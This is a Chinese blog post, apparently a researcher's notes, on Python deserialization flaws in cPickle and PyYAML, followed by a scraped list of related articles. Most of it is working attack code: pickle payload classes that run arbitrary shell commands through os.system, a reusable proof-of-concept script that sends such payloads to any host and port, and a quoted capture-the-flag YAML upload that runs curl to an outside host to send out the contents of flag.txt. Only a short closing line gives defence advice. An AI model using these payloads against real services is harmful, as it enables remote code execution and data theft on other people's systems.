python反序列化研究学习
零、补充:
补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。
测试代码:
#client.py
import os
import sys
import base64
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
#cmd = sys.argv[1]
#rip = sys.argv[2]
#pot = sys.argv[3]
cmd = "whoami"
rip = "127.0.0.1"
pot = 5222
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
send_object = base64.b64encode(send_object)
sock.send(send_object) #server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle
import base64 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
ret = base64.b64decode(ret)
m = cPickle.loads(ret)
果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。
一、python的反序列化漏洞:
一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:
举例说明:
client传送一个类对象序列化过去给server,server反序列化这个类对象。
client.py
#serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle class Vuln(object):
name = 1
def __reduce__(self):
return (os.system,(('id'),)) sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()
server.py
#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)
测试效果:

类似于cPickle和pickle的这种适合打一些TCP连接的:
这里写一个脚本作为一般poc
# -*- coding:utf-8 -*-
"""
这个脚本用来生成payload,并进行打击
作者:陈然
公司:360企业安全
"""
#引入依赖包文件
import os
import sys
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
cmd = sys.argv[1]
rip = sys.argv[2]
pot = sys.argv[3]
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
sock.send(send_object)
二、HTTP中的python反序列化漏洞--PyYAML
1、这里要注意,对站点相关开发有要求:
(1)使用PyYAML这个库
(2)使用了yaml.load函数而不是yaml.safe_load函数
2、好了,来看函数吧:
(1):
我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!
(2)这个tag的解析在yaml库的constructor.py文件中:

然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:

跳转过去看下,这个地方有cls函数

而这里的cls函数取自find_python_name这个函数的返回值:
这个函数返回值是getattr的返回值

我们来做一个实验:
import os class A(object):
name = 1
def __reduce__(self):
os.system("whoami") a = A()
func = getattr(a,"__reduce__")
print "func:",func
func()
实验结果:

这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。
3、攻击场景:
这种场景有可能在HTTP协议中见到:
看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800
'''
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438 -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml ---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"] -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload" -----------------------------200783363553063815533894329-- </div> <div class="container main" >
<div>
<div class="col-md-12 main"> <ul><li><code>goodbye</code> : <code>0</code></li></ul> </div>
</div>
</div>
'''
很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。
python反序列化研究学习的更多相关文章
- Python 反序列化漏洞学习笔记
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...
- 基于python的opcode优化和模块按需加载机制研究(学习与个人思路)(原创)
基于python的opcode优化和模块按需加载机制研究(学习与思考) 姓名:XXX 学校信息:XXX 主用编程语言:python3.5 个人技术博客:http://www.cnblogs.com/M ...
- 从Theano到Lasagne:基于Python的深度学习的框架和库
从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...
- Python语言程序设计学习 之 了解Python
Python简介 Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido van Rossum于1989年发明,第一个公开发行版发行于1991年. Python是纯粹的自由软件,源代 ...
- Python 应用领域及学习重点
笔者认为不管学习什么编程语言,首先要知道:学完之后在未来能做些什么? 本文将浅谈 Python 的应用领域及其在对应领域的学习重点.也仅是介绍了 Python 应用领域的"冰山一角" ...
- 一个Python爬虫工程师学习养成记
大数据的时代,网络爬虫已经成为了获取数据的一个重要手段. 但要学习好爬虫并没有那么简单.首先知识点和方向实在是太多了,它关系到了计算机网络.编程基础.前端开发.后端开发.App 开发与逆向.网络安全. ...
- PyQt(Python+Qt)学习随笔:富文本编辑器QTextEdit功能详解
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 一.概述 QTextEdit是一个高级的所见即所得的文档查看器和编辑器 ...
- PyQt(Python+Qt)学习随笔:QTableWidget表格部件中行高和列宽的计算方式
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTableWidget表格部件中行高和列宽的计算在Qt提供的资料中内容介绍比较泛,细节说得不清楚, ...
- 第15.16节 PyQt(Python+Qt)入门学习:PyQt中的信号(signal)和槽(slot)机制以及Designer中的使用
老猿Python博文目录 老猿Python博客地址 一.引言 前面一些章节其实已经在使用信号和槽了,但是作为Qt中最重要的机制也是Qt区别与其他开发平台的重要核心特性,还是非常有必要单独介绍. 二.信 ...
随机推荐
- Django的ORM中如何判断查询结果是否为空,判断django中的orm为空
result= Booking.objects.filter() #方法一 .exists() if result.exists(): print "QuerySet has Data&qu ...
- java后台分页实例一
后台框架:jfinal + velocity.前台框架:jquery 页面 <!DOCTYPE html> <html> <head> <meta char ...
- ubuntu更新出错--Could not get lock /var/lib/dpkg/lock
ubuntu在vps上安装好后,通常第一个命令是更新系统软件.然而在运行的过程中,却出现这样的错误: E: Could not get lock /var/lib/dpkg/lock - open ( ...
- Objective-c的@property 详解
转自:http://www.cnblogs.com/andyque/archive/2011/08/03/2125728.html 之前很多网友对我翻译的教程中的Property的使用感到有些迷惑不解 ...
- 喵神 onevcat 的直播首秀
喵神 onevcat 的直播首秀 王巍在圈内人称喵神,我和他在网上很早就认识,平时多有交流.在我眼中,他是一个幽默风趣高手.虽然他的博客中主要内容是 iOS 开发,但是他实际上涉及的技术领域还包括 ...
- 李洪强iOS经典面试题34-求两个链表表示的数的和
李洪强iOS经典面试题34-求两个链表表示的数的和 问题 给你两个链表,分别表示两个非负的整数.每个链表的节点表示一个整数位. 为了方便计算,整数的低位在链表头,例如:123 在链表中的表示方式是: ...
- Java之旅hibernate(8)——基本关系映射
何为关系,何为映射,关系这个词想必大家都不陌生.比方你和老师之间是师生关系,你和父母之间是父子或者父女(母子或者母女关系). 关系是存在某种联系物体之间产生的.什么都是可能的.比方你和工具,你仅仅能使 ...
- arm + fpga 核心板
- flume中Source
Spooling Directory Source: 以下2组参数解释: fileHeader及fileHeaderKey:fileHeader是个布尔值,可配置为true或者false,表示在flu ...
- Entity Framework中的实体类添加复合主键
使用Code First模式实现给实体类添加复合主键,代码如下: using System; using System.Collections.Generic; using System.Compon ...